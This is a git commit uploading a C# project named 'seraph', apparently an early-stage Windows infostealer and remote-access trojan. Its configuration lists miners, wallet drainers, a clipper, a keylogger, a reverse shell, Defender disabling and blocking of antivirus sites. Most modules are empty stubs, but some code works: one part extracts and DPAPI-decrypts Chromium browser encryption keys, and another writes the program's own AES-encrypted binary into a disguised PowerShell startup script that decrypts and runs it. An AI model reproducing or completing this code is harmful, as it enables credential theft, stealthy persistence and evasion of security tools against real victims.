Upload of project source code files.

This commit is contained in:
2026-02-17 04:22:40 +01:00
parent c488e05d28
commit 6fd5c2f1cf
105 changed files with 1302 additions and 0 deletions

13
.idea/.idea.seraph/.idea/.gitignore generated vendored Normal file
View File

@@ -0,0 +1,13 @@
# Default ignored files
/shelf/
/workspace.xml
# Rider ignored files
/modules.xml
/projectSettingsUpdater.xml
/contentModel.xml
/.idea.seraph.iml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

7
.idea/.idea.seraph/.idea/discord.xml generated Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="DiscordProjectSettings">
<option name="show" value="PROJECT_FILES" />
<option name="description" value="" />
</component>
</project>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="UserContentModel">
<attachedFolders />
<explicitIncludes />
<explicitExcludes />
</component>
</project>

16
seraph.sln Normal file
View File

@@ -0,0 +1,16 @@

Microsoft Visual Studio Solution File, Format Version 12.00
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "seraph", "seraph\seraph.csproj", "{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
EndGlobal

75
seraph/Configuration.cs Normal file
View File

@@ -0,0 +1,75 @@
namespace seraph;
public static class Configuration
{
public static string SocketServer = "127.0.0.1:8883"; // socket server, using ECDH-Curve25519 for encryption & verification
public static bool MeltStub = false;
public static bool FakeError = false;
public static string ErrorMessage = "The code execution cannot proceed because api-ms-win-core-timezone-l1-1-0.dll was not found. Reinstalling the application may fix this problem.";
public static bool AntiKill = false;
public static bool AntiKillBSoD = false;
public static bool AntiVM = false;
public static bool AntiAnalysis = false;
public static bool AntiDebug = false;
public static bool Startup = true;
public static string StartupMode = "taskschd"; // regkey, taskschd or folder
public static bool WebcamSnapshot = false;
public static bool Screenshot = false;
public static bool MoneroCryptoMiner = false;
public static bool LitecoinCryptoMiner = false;
public static bool BitcoinCryptoMiner = false;
public static int MoneroMinerUsage = 25;
public static int LitecoinMinerUsage = 25;
public static int BitcoinMinerUsage = 25;
public static string MoneroMinerWallet = "";
public static string LitecoinMinerWallet = "";
public static string BitcoinMinerWallet = "";
public static bool NetworkSpread = false;
public static bool USBInfect = false;
public static bool SystemInfect = false;
public static bool BrowserInjection = false;
public static bool MailInjection = false;
public static bool VPNInjection = false;
public static bool WalletInjection = false;
public static bool MessengerInjection = false;
public static bool BlockWebsites = false; // blocks websites off the local machine from being accessed
public static List<string> WebsitesList = new List<string> { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" };
public static bool PornDetection = false; // detects if porn/hentai is viewed and runs webcam snapshot automatically if so
public static bool Keylogger = false;
public static bool ReverseShell = false;
public static bool ShellcodeLoader = false;
public static byte[] Shellcode = new byte[] { 0x81, 0x92 }; // use donut to gen PIC shellc
public static bool BrowserData = false;
public static bool WalletData = false;
public static bool WalletDrainer = false;
public static string WalletDrainerMoneroAddress = "";
public static string WalletDrainerLitecoinAddress = "";
public static string WalletDrainerBitcoinAddress = "";
public static string WalletDrainerEthereumAddress = "";
public static string WalletDrainerTetherAddress = "";
public static bool CryptoClipper = false;
public static string CryptoClipperMoneroAddress = "";
public static string CryptoClipperLitecoinAddress = "";
public static string CryptoClipperBitcoinAddress = "";
public static string CryptoClipperEthereumAddress = "";
public static string CryptoClipperTetherAddress = "";
public static bool NetworkData = false;
public static bool MessengerData = false;
public static bool MailData = false;
public static bool SystemData = false;
public static bool ImportantFiles = false;
public static List<string> ImportantFilesExtensions = new List<string> { "db", "kdbx", "sql", "sqlite", "pgp", "xml", "enc", "p12", "pfx", "vault", "json", "c", "h", "txt", "sqlite3", "pem", "asc", "cert", "ovpn", "ca", "sig", "adp" };
public static bool CommonFiles = false;
public static List<string> CommonFilesExtensions = new List<string> { "ini", "png", "jpg", "txt", "mp4", "mov", "webp", "7z", "zip", "dll", "jar", "java", "c", "h", "hpp", "cpp", "java", "d", "cs", "js", "ts", "py", "json", "lib", "gif", "wav", "bat", "cmd", "mp3", "jpeg", "nim", "html", "php", "css", "pyc", "pyd", "sln", "kts", "rs", "lisp", "zig", "exs", "md", "kt" };
public static bool GameData = false;
public static bool AMSIBypass = false;
public static bool DefenderExlusion = false;
public static List<string> ExcludedFilePaths = new List<string> { "" };
public static List<string> ExcludedFolderPaths = new List<string> { "" };
public static bool DestroyDefender = false;
public static bool DisableDefender = false;
public static bool DisableETW = false;
public static bool DisableREAgentC = false;
public static bool UACBypass = false;
public static bool RemoteControl = false;
}

37
seraph/Program.cs Normal file
View File

@@ -0,0 +1,37 @@
using seraph;
using seraph.Seraph.AntiDebug;
using seraph.Seraph.Components;
using seraph.Seraph.Infect;
using seraph.Seraph.Remote;
internal class Seraph
{
private static void Main(string[] args)
{
var services = new List<Service>
{
new Seraphian(),
new Remote(),
new Infect()
};
var antiDebug = new AntiDebug();
antiDebug.RunChecks();
var threads = new List<Thread>();
foreach (var service in services)
{
var createThread = new Thread(() => { service.Initialize(); service.Execute(); });
threads.Add(createThread);
createThread.Start();
}
foreach (var thread in threads)
{
thread.Join();
}
threads.Clear();
}
}

0
seraph/README.md Normal file
View File

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.AntiDebug;
public class AntiAnalysis
{
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.AntiDebug;
public class AntiDebug
{
public void RunChecks()
{
Console.WriteLine("Anti Debug Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.AntiDebug;
public class AntiKill
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.AntiDebug;
public class AntiVM
{
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components;
public class BlockWebsites : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("BlockWebsites Running.");
}
}

View File

@@ -0,0 +1,37 @@
namespace seraph.Seraph.Components.Exfiltration.Browser;
public class Browser : Seraphian.Seraphh
{
public override void Run()
{
if (!Configuration.BrowserData)
{
return;
}
Console.WriteLine("Browser Exfiltration Running.");
var threads = new List<Thread>();
foreach (var browserPath in Chromium.BrowserPaths)
{
var path = Path.Combine(Utility.Utils.lAppdata, browserPath, "User Data");
if (!Directory.Exists(path))
{
return;
}
var createThread = new Thread(() => { Chromium.BrowserEntry(path); });
threads.Add(createThread);
createThread.Start();
}
foreach (var thread in threads)
{
thread.Join();
}
threads.Clear();
}
}

View File

@@ -0,0 +1,35 @@
using System.Text.Json;
namespace seraph.Seraph.Components.Exfiltration.Browser;
public class Chromium
{
public static List<string> BrowserPaths = new List<string> { "Iridium", "Microsoft\\Edge", "Thorium", "Google\\Chrome", "BraveSoftware\\Brave-Browser", "Vivaldi", "Epic Privacy Browser", "Torch", "Amigo", "Kometa", "Orbitum", "CentBrowser", "7Star\\7Star", "Sputnik\\Sputnik", "uCozMedia\\Uran", "Yandex\\YandexBrowser" };
public static List<string> BrowserProfiles = new List<string> { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" };
public static void BrowserEntry(string fullPath)
{
var localStateFile = Path.Combine(fullPath, "Local State");
if (!File.Exists(localStateFile))
{
return;
}
var key = GetKey.Decrypt(localStateFile);
Console.WriteLine(key);
foreach (var profile in Chromium.BrowserProfiles)
{
var path = Path.Combine(fullPath, profile);
if (!Directory.Exists(path))
{
continue;
}
Console.WriteLine(path);
}
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.Exfiltration.Browser;
public class Decrypt
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.Exfiltration.Browser;
public class Gecko
{
}

View File

@@ -0,0 +1,61 @@
namespace seraph.Seraph.Components.Exfiltration.Browser;
using System.Text.Json;
public class GetKey
{
public static string Decrypt(string path)
{
var jsonData = string.Empty;
try
{
jsonData = File.ReadAllText(path);
}
catch (IOException ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
return ex.Message;
}
var encodedKey = string.Empty;
try
{
var document = JsonDocument.Parse(jsonData);
encodedKey = document.RootElement
.GetProperty("os_crypt")
.GetProperty("encrypted_key")
.GetString();
Console.WriteLine($"Encoded Key: {encodedKey}");
}
catch (JsonException ex)
{
Console.WriteLine($"Error parsing Json Data: {ex.Message}");
return ex.Message;
}
catch (KeyNotFoundException ex)
{
Console.WriteLine($"Missing expected Json property: {ex.Message}");
return ex.Message;
}
string decodedKey = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(encodedKey));
string encryptedKey = decodedKey.Length > 5 ? decodedKey.Substring(5) : string.Empty;
Console.WriteLine($"Encrypted Key: {encryptedKey}");
try
{
var decryptedKey = Utility.Crypt32Wrapper.Decrypt(System.Text.Encoding.UTF8.GetBytes(encryptedKey));
return decryptedKey;
}
catch (Exception ex)
{
Console.WriteLine($"Error during decryption: {ex.Message}");
return ex.Message;
}
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration;
public class Files : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("File Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration;
public class Game : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Game Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration;
public class Mail : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Mail Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration;
public class Messenger : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Messenger Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration.Network;
public class Network : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Network Exfiltration Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.Exfiltration.Network;
public class SFTP
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.Exfiltration.Network;
public class SSH
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.Exfiltration.Network;
public class VPN
{
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration;
public class Ssystem : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("System Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration.Wallet;
public class Clipper : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Crypto Clipper Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration.Wallet;
public class Drainer : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Crypto Drainer Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration.Wallet;
public class Miner : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Crypto Miner Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.Exfiltration.Wallet;
public class Wallet : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Wallet Exfiltration Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components;
public class NetworkSpread : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("NetworkSpread Running.");
}
}

View File

@@ -0,0 +1,108 @@
using seraph.Seraph.Utility;
namespace seraph.Seraph.Components;
using System.Reflection;
using System.Security.Cryptography;
public class Persistence : Seraphian.Seraphh
{
public override void Run()
{
if (!Configuration.Startup)
{
return;
}
Console.WriteLine("Persistence Running.");
string path = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell");
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
string assemblyPath = Assembly.GetExecutingAssembly().Location;
byte[] fileBytes = File.ReadAllBytes(assemblyPath);
(string iv, string key, string encrypted) = EncryptString(fileBytes);
// Console.WriteLine(encrypted);
string startupFile = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell",
"StartupProfileAnalytics2.ps1");
string startupScript = @$"
$base64Iv = ""{iv}""
$base64Key = ""{key}""
$base64EncryptedData = ""{encrypted}""
$iv = [System.Convert]::FromBase64String($base64Iv)
$key = [System.Convert]::FromBase64String($base64Key)
$encryptedData = [System.Convert]::FromBase64String($base64EncryptedData)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $key
$aes.IV = $iv
$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
$memoryStream = New-Object System.IO.MemoryStream
$memoryStream.Write($decryptedBytes, 0, $decryptedBytes.Length)
$memoryStream.Position = 0
$binaryData = $memoryStream.ToArray()
$memoryStream.Close()
$binaryPath = [System.IO.Path]::GetTempFileName() + "".exe""
[System.IO.File]::WriteAllBytes($binaryPath, $binaryData)
Start-Process $binaryPath -NoNewWindow -Wait
Remove-Item $binaryPath";
if (!File.Exists(startupFile))
{
File.WriteAllText(startupFile, startupScript);
}
// powershell -ExecutionPolicy Bypass -File "C:\Users\gum\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileAnalytics.ps1"
if (Utils.ShellExecute("schtasks /query /tn \"Seraph") == "")
{
if (Utils.IsRunningAsAdmin())
{
}
}
}
static (string iv, string key, string encrypted) EncryptString(byte[] dataToEncrypt)
{
if (dataToEncrypt == null || dataToEncrypt.Length == 0)
throw new ArgumentNullException(nameof(dataToEncrypt));
using (Aes aes = Aes.Create())
{
aes.GenerateKey();
aes.GenerateIV();
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
using (MemoryStream ms = new MemoryStream())
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
{
cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);
cs.FlushFinalBlock();
string encryptedData = Convert.ToBase64String(ms.ToArray());
return (Convert.ToBase64String(aes.IV), Convert.ToBase64String(aes.Key), encryptedData);
}
}
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components;
public class PornDetection : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("PornDetection Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class AMSIBypass
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class DefenderExclusion
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class DestroyDefender
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class DisableDefender
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class DisableETW
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class DisableREAgentC
{
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class PrivEsc : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Privilege Escalation Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Components.PrivilegeEscalation;
public class UACBypass
{
}

View File

@@ -0,0 +1,14 @@
namespace seraph.Seraph.Components;
public class Sender : Service
{
public override void Initialize()
{
Console.WriteLine("Sender Initialized.");
}
public override void Execute()
{
Console.WriteLine("Sender Running.");
}
}

View File

@@ -0,0 +1,63 @@
using seraph.Seraph.Components.Exfiltration;
using seraph.Seraph.Components.Exfiltration.Browser;
using seraph.Seraph.Components.Exfiltration.Network;
using seraph.Seraph.Components.Exfiltration.Wallet;
using seraph.Seraph.Components.PrivilegeEscalation;
namespace seraph.Seraph.Components;
public class Seraphian : Service
{
public override void Initialize()
{
Console.WriteLine("Stealer Initialized.");
}
public override void Execute()
{
Console.WriteLine("Stealer Running.");
var services = new List<Seraphh>()
{
new PornDetection(),
new Persistence(),
new Snapshot(),
new ShellcodeLoader(),
new NetworkSpread(),
new BlockWebsites(),
new PrivEsc(),
new Files(),
new Game(),
new Mail(),
new Messenger(),
new Ssystem(),
new Wallet(),
new Miner(),
new Drainer(),
new Clipper(),
new Network(),
new Browser()
};
var threads = new List<Thread>();
foreach (var service in services)
{
var createThread = new Thread(() => { service.Run(); });
threads.Add(createThread);
createThread.Start();
}
foreach (var thread in threads)
{
thread.Join();
}
threads.Clear();
}
public abstract class Seraphh
{
public abstract void Run();
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components;
public class ShellcodeLoader : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("ShellcodeLoader Running.");
}
}

View File

@@ -0,0 +1,9 @@
namespace seraph.Seraph.Components;
public class Snapshot : Seraphian.Seraphh
{
public override void Run()
{
Console.WriteLine("Snapshot Running.");
}
}

View File

@@ -0,0 +1,14 @@
namespace seraph.Seraph.Infect;
public class Infect : Service
{
public override void Initialize()
{
Console.WriteLine("Infection Initialized.");
}
public override void Execute()
{
Console.WriteLine("Infection Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Infect;
public class SystemSpread
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Infect;
public class USBSpread
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class Download
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class HVNC
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class Keylogger
{
}

View File

@@ -0,0 +1,14 @@
namespace seraph.Seraph.Remote;
public class Remote : Service
{
public override void Initialize()
{
Console.WriteLine("Remote Daemon Initialized.");
}
public override void Execute()
{
Console.WriteLine("Remote Daemon Running.");
}
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class ReverseShell
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class TaskManager
{
}

View File

@@ -0,0 +1,6 @@
namespace seraph.Seraph.Remote;
public class Upload
{
}

View File

@@ -0,0 +1,42 @@
namespace seraph.Seraph.Utility;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Diagnostics;
public class Utils
{
public static string lAppdata = Environment.GetEnvironmentVariable("LOCALAPPDATA");
public static string Appdata = Environment.GetEnvironmentVariable("APPDATA");
public static bool IsRunningAsAdmin()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool IsWindows()
{
return RuntimeInformation.IsOSPlatform(OSPlatform.Windows);
}
public static string ShellExecute(string command)
{
using var process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c {command}",
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
process.Start();
return process.StandardOutput.ReadToEnd();
}
}

View File

@@ -0,0 +1,79 @@
namespace seraph.Seraph.Utility;
using System.Runtime.InteropServices;
using System.Text;
using System;
public static class Crypt32Wrapper
{
[DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn,
out IntPtr ppszDataDescr,
IntPtr pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
int dwFlags,
out DATA_BLOB pDataOut);
[StructLayout(LayoutKind.Sequential)]
private struct DATA_BLOB
{
public int cbData;
public IntPtr pbData;
}
private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
public static string Decrypt(byte[] encryptedData)
{
if (encryptedData == null || encryptedData.Length == 0)
{
throw new ArgumentException("Encrypted data cannot be null or empty.");
}
var inBlob = new DATA_BLOB
{
cbData = encryptedData.Length,
pbData = Marshal.AllocHGlobal(encryptedData.Length)
};
Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length);
DATA_BLOB outBlob = new DATA_BLOB();
IntPtr descriptionPtr = IntPtr.Zero;
try
{
bool success = CryptUnprotectData(ref inBlob, out descriptionPtr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
CRYPTPROTECT_UI_FORBIDDEN, out outBlob);
if (!success)
{
int errorCode = Marshal.GetLastWin32Error();
throw new InvalidOperationException($"Decryption failed with error code: {errorCode}");
}
if (outBlob.pbData == IntPtr.Zero)
{
throw new InvalidOperationException("Decryption failed: outBlob.pbData is null.");
}
byte[] decryptedData = new byte[outBlob.cbData];
Marshal.Copy(outBlob.pbData, decryptedData, 0, outBlob.cbData);
return Encoding.UTF8.GetString(decryptedData);
}
finally
{
Marshal.FreeHGlobal(inBlob.pbData);
if (outBlob.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(outBlob.pbData);
}
if (descriptionPtr != IntPtr.Zero)
{
Marshal.FreeHGlobal(descriptionPtr);
}
}
}
}

8
seraph/Service.cs Normal file
View File

@@ -0,0 +1,8 @@
namespace seraph
{
public abstract class Service
{
public abstract void Execute();
public abstract void Initialize();
}
}

View File

@@ -0,0 +1,23 @@
{
"runtimeTarget": {
"name": ".NETCoreApp,Version=v8.0",
"signature": ""
},
"compilationOptions": {},
"targets": {
".NETCoreApp,Version=v8.0": {
"seraph/1.0.0": {
"runtime": {
"seraph.dll": {}
}
}
}
},
"libraries": {
"seraph/1.0.0": {
"type": "project",
"serviceable": false,
"sha512": ""
}
}
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,12 @@
{
"runtimeOptions": {
"tfm": "net8.0",
"framework": {
"name": "Microsoft.NETCore.App",
"version": "8.0.0"
},
"configProperties": {
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
}
}
}

View File

@@ -0,0 +1,23 @@
{
"runtimeTarget": {
"name": ".NETCoreApp,Version=v8.0",
"signature": ""
},
"compilationOptions": {},
"targets": {
".NETCoreApp,Version=v8.0": {
"seraph/1.0.0": {
"runtime": {
"seraph.dll": {}
}
}
}
},
"libraries": {
"seraph/1.0.0": {
"type": "project",
"serviceable": false,
"sha512": ""
}
}
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,13 @@
{
"runtimeOptions": {
"tfm": "net8.0",
"framework": {
"name": "Microsoft.NETCore.App",
"version": "8.0.0"
},
"configProperties": {
"System.Reflection.Metadata.MetadataUpdater.IsSupported": false,
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
}
}
}

View File

@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,22 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
using System;
using System.Reflection;
[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
// Von der MSBuild WriteCodeFragment-Klasse generiert.

View File

@@ -0,0 +1 @@
d75807a5f89bff94c6c165411057ab21e37b99c044d409180b33a0fbc81d8189

View File

@@ -0,0 +1,13 @@
is_global = true
build_property.TargetFramework = net8.0
build_property.TargetPlatformMinVersion =
build_property.UsingMicrosoftNETSdkWeb =
build_property.ProjectTypeGuids =
build_property.InvariantGlobalization =
build_property.PlatformNeutralAssembly =
build_property.EnforceExtendedAnalyzerRules =
build_property._SupportedPlatformList = Linux,macOS,Windows
build_property.RootNamespace = seraph
build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =

View File

@@ -0,0 +1,8 @@
// <auto-generated/>
global using global::System;
global using global::System.Collections.Generic;
global using global::System.IO;
global using global::System.Linq;
global using global::System.Net.Http;
global using global::System.Threading;
global using global::System.Threading.Tasks;

Binary file not shown.

View File

@@ -0,0 +1 @@
29066902f8ac4d5ccb2d7c04a1acfb2d05d462a1a582dbb8ece030516f68312d

View File

@@ -0,0 +1,14 @@
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.exe
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.deps.json
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.runtimeconfig.json
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.pdb
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfoInputs.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfo.cs
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.csproj.CoreCompileInputs.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\refint\seraph.dll
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.pdb
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.genruntimeconfig.cache
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\ref\seraph.dll

Binary file not shown.

View File

@@ -0,0 +1 @@
47cbad650cd263fef74dbfacd26269093fc783aa03658a4013f529ae7d9247b7

Binary file not shown.

View File

@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,22 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
using System;
using System.Reflection;
[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
[assembly: System.Reflection.AssemblyConfigurationAttribute("Release")]
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
// Von der MSBuild WriteCodeFragment-Klasse generiert.

View File

@@ -0,0 +1 @@
7873b96a14a886c363902eb95bd776eb4df56af23c9a5840eb66db64caf2e040

View File

@@ -0,0 +1,13 @@
is_global = true
build_property.TargetFramework = net8.0
build_property.TargetPlatformMinVersion =
build_property.UsingMicrosoftNETSdkWeb =
build_property.ProjectTypeGuids =
build_property.InvariantGlobalization =
build_property.PlatformNeutralAssembly =
build_property.EnforceExtendedAnalyzerRules =
build_property._SupportedPlatformList = Linux,macOS,Windows
build_property.RootNamespace = seraph
build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =

View File

@@ -0,0 +1,8 @@
// <auto-generated/>
global using global::System;
global using global::System.Collections.Generic;
global using global::System.IO;
global using global::System.Linq;
global using global::System.Net.Http;
global using global::System.Threading;
global using global::System.Threading.Tasks;

Binary file not shown.

View File

@@ -0,0 +1 @@
a248834d9d5241c9ac2f983b6be8e32cce8bb549b16973f7117fbdfe494786d8

View File

@@ -0,0 +1,14 @@
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.exe
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.deps.json
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.runtimeconfig.json
